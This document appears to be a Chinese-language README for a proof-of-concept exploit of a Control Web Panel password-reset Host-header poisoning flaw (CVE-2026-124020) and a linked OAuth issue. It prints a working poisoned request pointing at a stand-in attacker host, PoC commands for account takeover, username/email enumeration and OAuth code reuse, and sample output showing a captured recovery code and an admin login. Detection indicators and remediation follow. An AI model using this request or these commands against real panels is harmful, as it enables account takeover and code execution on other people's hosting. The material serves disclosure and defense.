Control Web Panel (CWP) < 1.30.6 使用未经身份验证的 Host 头构建密码重置链接。通过投毒该头,攻击者可以拦截发送给合法用户的重置链接,捕获有效的恢复代码,并接管任意托管账户——随后通过文件管理器和 Crontab 模块实现代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-124020 |
| CVSS 4.0 | 9.2 Critical — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CVSS 3.1 | 8.1 High — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640(忘记密码的弱密码恢复机制) |
| 受影响 | CWP < 1.30.6(CWP 和 CWPpro 均受影响) |
| 修复版本 | CWP 1.30.6 |
| 关联漏洞 | CVE-2026-124021 — 同一恢复代码可被端口 2304 上的 OAuth API 接受 |
| 需要认证 | 无 |
| 披露日期 | 2026-11-18 |
/login/index.php?acc=lostpass 接受 username 和 email(作为精确配对判定依据),然后向内部重置路由发起回环请求,并携带调用方的 $_SERVER['HTTP_HOST']。发送给账户所有者的重置 URL 由攻击者提供的 host 构建:
POST /login/index.php?acc=lostpass HTTP/1.1
Host: attacker.example:8080
Content-Type: application/x-www-form-urlencoded
username=victim&email=victim%40example.com
合法用户会收到一封包含重置链接的邮件,该链接指向 attacker.example:8080。当用户点击该链接时,攻击者会捕获这个一次性恢复码,并立即在真实面板上调用 /login/index.php?acc=newpass 来重置密码。
通过 CVE-2026-124021 造成的额外暴露: 恢复码存储在 oauth_authorization_codes 中,并且也会被端口 2304 的管理 API 作为 OAuth 授权接受——无需重置步骤。
flowchart LR
A([Attacker]) -->|POST /login/index.php?acc=lostpass\nHost: attacker.example\nusername=admin&[email protected]| B[CWP < 1.30.6]
B -->|Reset email sent\nlink: http://attacker.example/reset?code=TOKEN| C([Victim's Email])
C -->|Victim clicks link| D[Attacker listener\ncaptures TOKEN]
D -->|POST /login/index.php?acc=newpass\nidsession=TOKEN&newpassword=pwned| B
B -->|Password reset\nfor admin account| E([Admin panel access])
E -->|File Manager\nCrontab| F([Code execution\nas hosting account])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
警告: 仅限授权测试。此 PoC 会启动一个监听器,受害者必须点击该监听器。切勿用于你并不拥有的账户。
pip install -r requirements.txt
# requirements: requests flask
python3 poc.py \
--target https://cwp.example.com:2083 \
--username admin \
--email [email protected] \
--attacker-host attacker.example.com:8080
预期输出——存在漏洞的 CWP:
[*] target: https://cwp.example.com:2083
[*] triggering password reset for admin ([email protected])
[+] reset email triggered — link will point to attacker.example.com:8080
[*] starting listener on :8080 — waiting for victim to click reset link...
[+] CAPTURED: recovery code = abc123def456...
[*] spending recovery code to reset password...
[+] VULNERABLE — admin password reset successfully
[*] logging in as admin...
[+] authenticated as: admin
[+] session cookie written to cookies.txt
python3 poc.py \
--target https://cwp.example.com:2083 \
--oracle \
--username-list usernames.txt \
--email [email protected]
# Use the captured code directly on the OAuth API without resetting the password
python3 poc.py \
--target https://cwp.example.com:2304 \
--oauth-code CAPTURED_TOKEN \
--mode oauth
| 标志 | 描述 |
|---|---|
--target URL | CWP 面板 URL(必填) |
--username NAME | 目标 CWP 用户名 |
--email EMAIL | 账户注册邮箱 |
--attacker-host HOST:PORT | 攻击者监听地址 |
--oracle | 用户名/邮箱对枚举 |
--oauth-code CODE | 在 OAuth API 上使用捕获的代码(CVE-2026-124021) |
--mode reset|oauth | 攻击模式(默认:reset) |
--proxy URL | 用于 Burp Suite 的 HTTP 代理 |
[*] triggering reset for admin...
[*] POST /login/index.php?acc=lostpass
Host header ignored — reset link uses configured server hostname
[-] reset link does not point to attacker host
[+] NOT vulnerable
| 指标 | 说明 |
|---|---|
重置请求中 Host 头与服务器地址不匹配 | Web 服务器日志:Host: 值与 CWP 自身主机名不一致 |
| 密码重置邮件包含异常链接域名 | 邮件网关:外发邮件链接中包含外部主机名 |
| 恢复代码从异常 IP 被使用 | CWP 审计日志:来自与邮件点击不同 IP 的 acc=newpass |
任何用户名和邮箱已知的 CWP 用户都可能遭遇完整账户接管。若攻击者获得管理员账户,可通过文件管理器上传 PHP 文件、通过 Crontab 调度执行,并以托管账户身份实现代码执行。VulnCheck 统计约有 12.4 万个面向互联网的 CWP 实例。
升级至 CWP 1.30.6。该修复使用配置的服务器主机名而非 Host 头来构建重置链接。
| 操作 | 详情 |
|---|---|
| 升级 CWP | 从 control-webpanel.com 获取 1.30.6 |
| 轮换管理员凭据 | 所有可能暴露的账户 |
| 监控重置邮件 | 对指向异常域名的外发重置链接发出告警 |
| 限制 2304 端口 | 将管理 API 访问限制为仅管理 IP |
免责声明: 仅用于授权安全研究和受控实验环境。MIT 许可证。